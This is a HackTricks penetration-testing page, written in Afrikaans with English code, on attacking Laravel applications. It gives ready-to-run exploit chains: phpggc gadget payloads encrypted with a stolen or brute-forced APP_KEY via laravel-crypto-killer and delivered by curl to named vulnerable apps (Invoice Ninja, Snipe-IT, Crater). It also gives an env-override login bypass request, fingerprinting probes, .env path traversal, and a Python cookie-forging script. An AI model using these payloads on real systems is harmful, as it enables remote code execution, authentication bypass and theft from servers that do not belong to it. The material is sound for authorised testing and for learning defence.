Laravel

Reading time: 10 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Laravel SQLInjection

Lees hieroor meer by: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Enkripsie interne werking (Laravel \u003e=5.6)

Laravel gebruik AES-256-CBC (of GCM) met HMAC-integriteit onder die kap (Illuminate\\Encryption\\Encrypter). Die rou ciphertext wat uiteindelik na die kliënt gestuur word is Base64 van 'n JSON-object soos:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) sal standaard die plaintext serialize() uitvoer, terwyl decrypt($payload, $unserialize=true) die gedekripteerde waarde outomaties unserialize(). Daarom kan any attacker wat die 32-byte geheim APP_KEY ken 'n versleutelde PHP serialized object vervaardig en RCE verkry via magic methods (__wakeup, __destruct, …).

Minimale PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inspuit die geproduseerde string in enige kwesbare decrypt() sink (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer outomatiseer die hele proses en voeg 'n gerieflike bruteforce-modus by:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Die skrip ondersteun deursigtig beide CBC- en GCM-payloads en genereer die HMAC/tag-veld weer.


Werklike wêreld kwesbare patrone

ProjectVulnerable sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

Die uitbuitings-werksvloei is altyd:

  1. Verkry of brute-force die 32-byte APP_KEY.
  2. Skep 'n gadget chain met PHPGGC (byvoorbeeld Laravel/RCE13, Laravel/RCE9 of Laravel/RCE15).
  3. Enkripteer die geserialiseerde gadget met laravel_crypto_killer.py en die herwonne APP_KEY.
  4. Aflewer die ciphertext aan die kwesbare decrypt() sink (route parameter, cookie, session …) om RCE te aktiveer.

Hieronder is bondige eenreëls wat die volle aanvalspad vir elke bogenoemde werklike CVE demonstreer:

bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Omdat elke vars Laravel-respons minstens 1 encrypted cookie (XSRF-TOKEN en gewoonlik laravel_session) instel, public internet scanners (Shodan, Censys, …) leak millions of ciphertexts wat offline aangeval kan word.

Belangrike bevindinge van die navorsing gepubliseer deur Synacktiv (2024-2025):

  • Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 servers nog steeds kwesbaar vir legacy CVE-2018-15133 omdat tokens direk serialized data bevat.

  • Enorme sleutelhergebruik – die Top-10 APP_KEYs is hard-coded defaults wat saam met kommersiële Laravel-templates versend word (UltimatePOS, Invoice Ninja, XPanel, …).

Die private Go-instrument nounours verhoog AES-CBC/GCM bruteforce-throughput tot ~1.5 miljard tries/s, wat die kraak van die volledige dataset tot <2 minute verminder.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Wanneer PHP se register_argc_argv=On (tipies op baie distros), openbaar PHP 'n argv-array vir HTTP-aanvrae wat van die query string afgelei is. Onlangse Laravel-weergawes het hierdie “CLI-like” args geparseer en --env=<value> by runtime gerespekteer. Dit maak dit moontlik om die framework-omgewing vir die huidige HTTP-aanvraag te verander net deur dit by enige URL te heg:

  • Vinnige toets:

  • Besoek https://target/?--env=local of enige string en kyk vir omgewing-afhanklike veranderinge (debug banners, footers, verbose errors). As die string gereflekteer word, werk die override.

  • Impact-voorbeeld (business logic wat 'n spesiale env vertrou):

  • As die app takke bevat soos if (app()->environment('preprod')) { /* bypass auth */ }, kan jy outentiseer sonder geldige creds deur die login POST te stuur na:

  • POST /login?--env=preprod

  • Aantekeninge:

  • Werk per aanvraag, geen persistentie.

  • Vereis register_argc_argv=On en 'n kwesbare Laravel-weergawe wat argv vir HTTP lees.

  • Nuttige primitief om meer verbose errors in “debug” envs te openbaar of om omgewing-geslote codepaaie te trigger.

  • Mitigasies:

  • Deaktiveer register_argc_argv vir PHP-FPM/Apache.

  • Werk Laravel op sodat argv in HTTP-aanvragen geïgnoreer word en verwyder enige vertrouensveronderstellings wat aan app()->environment() in produksieroutes gekoppel is.

Minimale uitbuitingsvloei (Burp):

http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Laravel Wenke

Foutopsporingsmodus

As Laravel in foutopsporingsmodus is, sal jy toegang hê tot die kode en sensitiewe data.
Byvoorbeeld http://127.0.0.1:8000/profiles:

Dit is gewoonlik nodig vir die exploiting van ander Laravel RCE CVEs.

Fingerprinting & blootgestelde dev-endpoints

Vinnige kontroles om 'n Laravel-stack en gevaarlike dev-tooling wat in produksie blootgestel is, te identifiseer:

  • /_ignition/health-check → Ignition teenwoordig (debug tool used by CVE-2021-3129). As dit sonder authentikasie bereikbaar is, mag die app in debug wees of verkeerd gekonfigureer wees.
  • /_debugbar → Laravel Debugbar assets; dui dikwels op debug-modus.
  • /telescope → Laravel Telescope (dev monitor). As dit publiek is, verwag omvattende inligtingsonthulling en moontlike aksies.
  • /horizon → Queue dashboard; weergawe-onthulling en soms CSRF-beskermde aksies.
  • X-Powered-By, koekies XSRF-TOKEN en laravel_session, en Blade foutbladsye help ook met fingerprinting.
bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel bewaar die APP wat dit gebruik om die cookies en ander inlogbewyse te enkripteer in 'n lêer genaamd .env wat benader kan word deur 'n path traversal onder: /../.env

Laravel sal hierdie inligting ook op die debug-bladsy wys (wat verskyn wanneer Laravel 'n fout vind en debug geaktiveer is).

Deur die geheime APP_KEY van Laravel te gebruik, kan jy cookies dekripteer en weer enkripteer:

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

Kwetsbare weergawes: 5.5.40 en 5.6.x tot 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Hier kan jy inligting oor die deserialization vulnerability vind: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Jy kan dit toets en exploit gebruik met https://github.com/kozmic/laravel-poc-CVE-2018-15133
Of jy kan dit ook met metasploit exploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Nog deserialization: https://github.com/ambionics/laravel-exploits

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks